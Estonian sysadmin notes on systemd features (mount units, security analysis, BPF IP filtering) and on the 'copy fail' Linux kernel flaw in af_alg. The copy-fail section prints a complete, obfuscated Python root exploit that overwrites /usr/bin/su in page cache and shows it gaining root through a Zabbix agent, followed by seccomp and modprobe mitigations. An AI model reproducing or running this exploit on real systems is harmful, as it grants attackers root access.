Requires=systemd-fsck@dev-system-var_lib_postgresql.service
After=systemd-fsck@dev-system-var_lib_postgresql.service

[Mount]
What=/dev/system/var_lib_postgresql
Where=/var/lib/postgresql
Type=ext4

Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda

# mount /var/lib/postgresql

siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga

Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.

Lahenduseks on öelda

# systemctl daemon-reload

Märkused

  • kerneli mooduleid loeb käivitamisel systemd-modules-load
systemd-modules-load.service

Seadistusfailiks on

# ls -ld /etc/modules-load.d/modules.conf 
lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -> ../modules

systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid

# ps aux | grep '/lib/systemd/systemd-'
root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald
root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd
systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd
root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind
systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd
systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved

Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks

# systemctl daemon-reload

Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda

# systemctl daemon-reexec

su ja sudo kasutamine

su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)

nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt

# machinectl shell imre@

nt on seejärel käivitatud sellised protsessid

imre@ph-minio-01:~$ ps U imre
    PID TTY      STAT   TIME COMMAND
   1212 pts/1    Ss     0:00 /bin/bash
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user
   1218 ?        S      0:00 (sd-pam)
   1251 pts/1    S      0:00 (sd-pam)
...

ja väärtustatud mitmesugused XDG keskkonnamuutujad

$ env | grep XDG
XDG_SESSION_TYPE=tty
XDG_SESSION_CLASS=user
XDG_SESSION_ID=29
XDG_RUNTIME_DIR=/run/user/1000
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/deskto

LoadCredentials kasutamine

root@dh-minio-01:~# systemctl edit nginx

[Service]
LoadCredential=ssl_key:/etc/ssl/private/nginx.key
LoadCredential=ssl_cert:/etc/ssl/certs/nginx.crt
PrivateTmp=yes

systemd-analyze

kasutaja@ph-minio-01:~$ systemd-analyze --user security nginx-07
  NAME                                                        DESCRIPTION                                                             EXPOSURE
✗ KeyringMode=                                                Service shares key material with other service                               0.2
  PrivateTmp=                                                 Service runs in special boot phase, option is not appropriate                   
  ProtectHome=                                                Service runs in special boot phase, option is not appropriate                   
  ProtectSystem=                                              Service runs in special boot phase, option is not appropriate                   
  RootDirectory=/RootImage=                                   Service runs in special boot phase, option is not appropriate                   
  SupplementaryGroups=                                        Service runs as root, option does not matter                                    
  RemoveIPC=                                                  Service runs as root, option does not apply                                     
✗ User=/DynamicUser=                                          Service runs as root user                                                    0.4
✗ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes may change the system clock                                0.2
✗ NoNewPrivileges=                                            Service processes may acquire new privileges                                 0.2
✓ AmbientCapabilities=                                        Service process does not receive ambient capabilities                           
✗ PrivateDevices=                                             Service potentially has access to hardware devices                           0.2
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                      0.2
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                       0.1
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                         0.1
✗ ProtectKernelLogs=                                          Service may read from or write to the kernel log ring buffer                 0.2
✗ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service may program timers that wake up the system                           0.1
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                         0.2
✗ ProtectControlGroups=                                       Service may modify the control group file system                             0.2
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                             0.1
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                             0.1
✗ ProtectKernelModules=                                       Service may load or read kernel modules                                      0.2
✗ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service may load kernel modules                                              0.2
✗ CapabilityBoundingSet=~CAP_BPF                              Service may load BPF programs                                                0.1
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                                  0.1
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                                   0.1
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                                   0.1
✗ PrivateMounts=                                              Service may install system mounts                                            0.2
✗ SystemCallArchitectures=                                    Service may execute system calls with all ABIs                               0.2
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                             0.1
✗ MemoryDenyWriteExecute=                                     Service may create writable executable memory mappings                       0.1
✗ RestrictNamespaces=~user                                    Service may create user namespaces                                           0.3
✗ RestrictNamespaces=~pid                                     Service may create process namespaces                                        0.1
✗ RestrictNamespaces=~net                                     Service may create network namespaces                                        0.1
✗ RestrictNamespaces=~uts                                     Service may create hostname namespaces                                       0.1
✗ RestrictNamespaces=~mnt                                     Service may create file system namespaces                                    0.1
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                               0.1
✗ CapabilityBoundingSet=~CAP_MKNOD                            Service may create device nodes                                              0.1
✗ RestrictNamespaces=~cgroup                                  Service may create cgroup namespaces                                         0.1
✗ RestrictSUIDSGID=                                           Service may create SUID/SGID files                                           0.2
✗ RestrictNamespaces=~ipc                                     Service may create IPC namespaces                                            0.1
✗ ProtectHostname=                                            Service may change system host/domainname                                    0.1
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unrestricted      0.2
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                           0.3
✗ LockPersonality=                                            Service may change ABI personality                                           0.1
✗ ProtectKernelTunables=                                      Service may alter kernel tunables                                            0.2
✗ RestrictAddressFamilies=~AF_PACKET                          Service may allocate packet sockets                                          0.2
✗ RestrictAddressFamilies=~AF_NETLINK                         Service may allocate netlink sockets                                         0.1
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                           0.1
✗ RestrictAddressFamilies=~…                                  Service may allocate exotic sockets                                          0.3
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                        0.3
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                                 0.1
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                      0.1
✗ Delegate=                                                   Service maintains its own delegated control group subtree                    0.1
✗ CapabilityBoundingSet=~CAP_SYS_RAWIO                        Service has raw I/O access                                                   0.2
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                                     0.3
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters                     0.1
✗ DeviceAllow=                                                Service has no device ACL                                                    0.2
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                                 0.2
✗ ProtectProc=                                                Service has full access to process tree (/proc hidepid=)                     0.2
✗ ProcSubset=                                                 Service has full access to non-process /proc files (/proc subset=)           0.1
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                                   0.1
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                           0.1
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                         0.3
✗ PrivateNetwork=                                             Service has access to the host's network                                     0.5
✗ PrivateUsers=                                               Service has access to other users                                            0.2
✗ CapabilityBoundingSet=~CAP_SYSLOG                           Service has access to kernel logging                                         0.1
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                         0.1
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                         0.1
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2
✗ UMask=                                                      Files created by service are world-readable by default                       0.1

→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨
kasutaja@ph-minio-01:~$ 

bpf integratsioon

Väited

  • nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas
  • bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)
  • bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)
  • bpf palju suurema jõudlusega kui tava-paketifilter

Service

Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)

root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container
[Unit]
Description=My Nginx Quadlet Service - 06
DefaultDependencies=no
After=network.target

[Container]
Image=docker.io/library/nginx:alpine
PublishPort=8096:80
ContainerName=nginx-06

[Service]
# Block all IP traffic by default
IPAddressDeny=any
# Then explicitly allow only what you need (e.g., your local subnet)
IPAddressAllow=192.168.10.0/24
IPAddressAllow=127.0.0.1
IPAddressAllow=8.8.8.8

[Install]
# This tells systemd to start it when you log in
WantedBy=default.target

kus

  • ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib

Kehtestada muudatus

root@ph-minio-01:~# systemctl --user daemon-reload
root@ph-minio-01:~# systemctl --user stop nginx-06
root@ph-minio-01:~# systemctl --user start nginx-06

Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist

root@ph-minio-01:~# bpftool prog show id 185
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215
	loaded_at 2026-04-20T12:44:13+0300  uid 0
	xlated 184B  jited 140B  memlock 4096B  map_ids 51

root@ph-minio-01:~# bpftool prog show id 186
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204
	loaded_at 2026-04-20T12:44:13+0300  uid 0
	xlated 184B  jited 140B  memlock 4096B  map_ids 51

kus

  • run_cnt näitab kui mitmel korral on kitsendust rakendatud

ning

root@ph-minio-01:~# bpftool map show id 51
51: lpm_trie  name 4_nginx_06.serv  flags 0x1
	key 8B  value 8B  max_entries 3  memlock 156B

ning

root@ph-minio-01:~# bpftool map dump id 51
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00
Found 3 elements

sellise skriptiga saab teisendada loetavamaks

root@ph-minio-01:~# cat bpftool-map-dump.sh
#!/bin/bash

bpftool map dump id 51 | grep '^key' | while read -r line; do
    bytes=($(echo $line | cut -d: -f2))
    printf "Prefix: %d | IP: %d.%d.%d.%d\n" "$((16#${bytes[0]}))" "$((16#${bytes[4]}))" "$((16#${bytes[5]}))" "$((16#${bytes[6]}))" "$((16#${bytes[7]}))"
done

root@ph-minio-01:~# ./bpftool-map-dump.sh
Prefix: 32 | IP: 8.8.8.8
Prefix: 32 | IP: 127.0.0.1
Prefix: 24 | IP: 192.168.10.0

Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.

Slice

root@ph-minio-01:~# systemctl edit user.slice

root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf
[Slice]
# This is a slice, but we can still pass BPF instructions
IPAddressDeny=any
IPAddressAllow=192.168.10.0/24
IPAddressAllow=127.0.0.0/8

kehtestada muudatus

root@ph-minio-01:~# systemctl daemon-reload

logida välja ja sisse ssh pealt näiteks ning

root@ph-minio-01:~# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
^C
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1005ms

root@ph-minio-01:~#

Misc

bpftop esitab ülevaatlikult

20260420-systemd-bpf-01.png

20260501 - copy fail eksploit

Väited

  • küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel
  • pedagoogilises mõttes on see huvitav lugu
  • vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi

Tööpõhimõte - af_alg

af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)

root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools

imre@pwrk-02:/home/imre/20260430$ date > cleartext.txt

imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c "cbc(aes)" --passwd "MyPassword123" --iv $(openssl rand -hex 12) < cleartext.txt > encrypted.bin
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!
kcapi-enc - Warning: PBKDF2 iterations used: 131072
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468

kus

  • valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead
imre@pwrk-02:~$ lsmod | grep alg
algif_hash             12288  0
algif_rng              12288  0
algif_skcipher         12288  0
algif_aead             12288  0
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng

Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.

Tööpõhimõte - eksploit

copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt

  • esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i
  • siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)
  • käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli
  • teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna
  • page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all

Asjaosalised kihid

arvutis töötavad protsessid (asuvad arvuti mälus)
  
      |
      v

vfs (virtual file system) (asub arvuti mälus)

      |
      v

page cache (asub arvuti mälus)

      |
      v

ext4 filesystem (asub plokkseadmel)

      |
      v

plokkseade (asub nö füüsilisel esemel)

kus

  • page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 > /proc/sys/vm/drop_caches'
  • page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'
  • plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil

Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.

Tööpõhimõte - leevendus

Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)

  • uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)
  • lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne
  • lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)

Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.

syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse

Leevenduste iseloomustus

  • systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas
  • apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)
  • modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)

Eksploit näide

https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse

$ cat /home/tmp/cf.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

$ chmod 0755 /home/tmp/cf.py

zabbix agent kaudu

root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf
UserParameter=cf,echo id | /home/tmp/cf.py 1>>/home/tmp/cf.log 2>&1

käivitamine

root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1

root@pwrk-02:~#

logi

root@pwrk-02:~# tail -f /home/tmp/cf.log
..
uid=0(root) gid=109(zabbix) groups=109(zabbix)
uid=0(root) gid=109(zabbix) groups=109(zabbix)
uid=0(root) gid=109(zabbix) groups=109(zabbix)
...

page cache puhastamine ("3" kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka "1")

root@pwrk-02:~# echo 3 > /proc/sys/vm/drop_caches

katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt

root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg

Leevendus - systemd service

Väited

  • mõju on service põhine
  • praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik
  • öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)
  • kehtestamiseks tuleb systemd service stop ja start öelda

systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)

root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies
RestrictAddressFamilies=~

root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco
Seccomp:	0
Seccomp_filters:	0

muudatus

# root@pwrk-02:~# systemctl edit zabbix-agent2
[Service]
RestrictAddressFamilies=~AF_ALG
# SystemCallErrorNumber=kill
# SystemCallErrorNumber=EPERM

kus

  • RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG
  • SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab

peale muudatust

root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies
RestrictAddressFamilies=~AF_ALG

root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco
Seccomp:	2
Seccomp_filters:	2

Eksploit kasutamine annab nüüd sellise tulemuse

root@pwrk-02:~# tail -f /home/tmp/cf.log
...
Traceback (most recent call last):
  File "/home/tmp/cf.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/tmp/cf.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
      ^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/socket.py", line 233, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol

Leevendus - apparmor profile

TODO

Leevendus - modprobe

Väited

  • mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg
# cat /etc/modprobe.d/mitigate-copy-fail.conf
install algif_aead /bin/true

kus

  • 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)
  • selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu
  • muudatus kehtestub koheselt

ning parem oleks ehk ka initramfs uuesti tekitada

root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst

ja

root@pwrk-02:~# update-initramfs -u
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic
I: The initramfs will attempt to resume from /dev/dm-2
I: (/dev/mapper/system-swap)
I: Set the RESUME variable to override this.

root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'
etc/modprobe.d
etc/modprobe.d/amd64-microcode-blacklist.conf
etc/modprobe.d/blacklist-ath_pci.conf
etc/modprobe.d/blacklist-firewire.conf
etc/modprobe.d/blacklist-framebuffer.conf
etc/modprobe.d/blacklist-rare-network.conf
etc/modprobe.d/blacklist.conf
etc/modprobe.d/dkms.conf
etc/modprobe.d/intel-microcode-blacklist.conf
etc/modprobe.d/iwlwifi.conf
etc/modprobe.d/mdadm.conf
etc/modprobe.d/mitigate-copy-fail.conf
root@pwrk-02:~#

Misc - docker rootful

docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus

  • docker
  • containerd

Debian

20260501 ilmus Debian operatsioonisüsteemile parandatud tuum

20260502-debian-copy-fail-01.png

kus

Ubuntu

20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett

20260502-ubuntu-copy-fail-01.png

kus

  • kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
# This will likely be re-enabled in a subsequent update once an updated
# kernel has been deployed.
# Blacklisting the module isn't sufficient, we need to do as below:
install algif_aead /bin/false
  • küllap parandatud tuum ilmub seejärel

Proxmox

20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta

root@pve-svc-02:~# uname -a
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux

Kasulikud lisamaterjalid

Kasulikud lisamaterjalid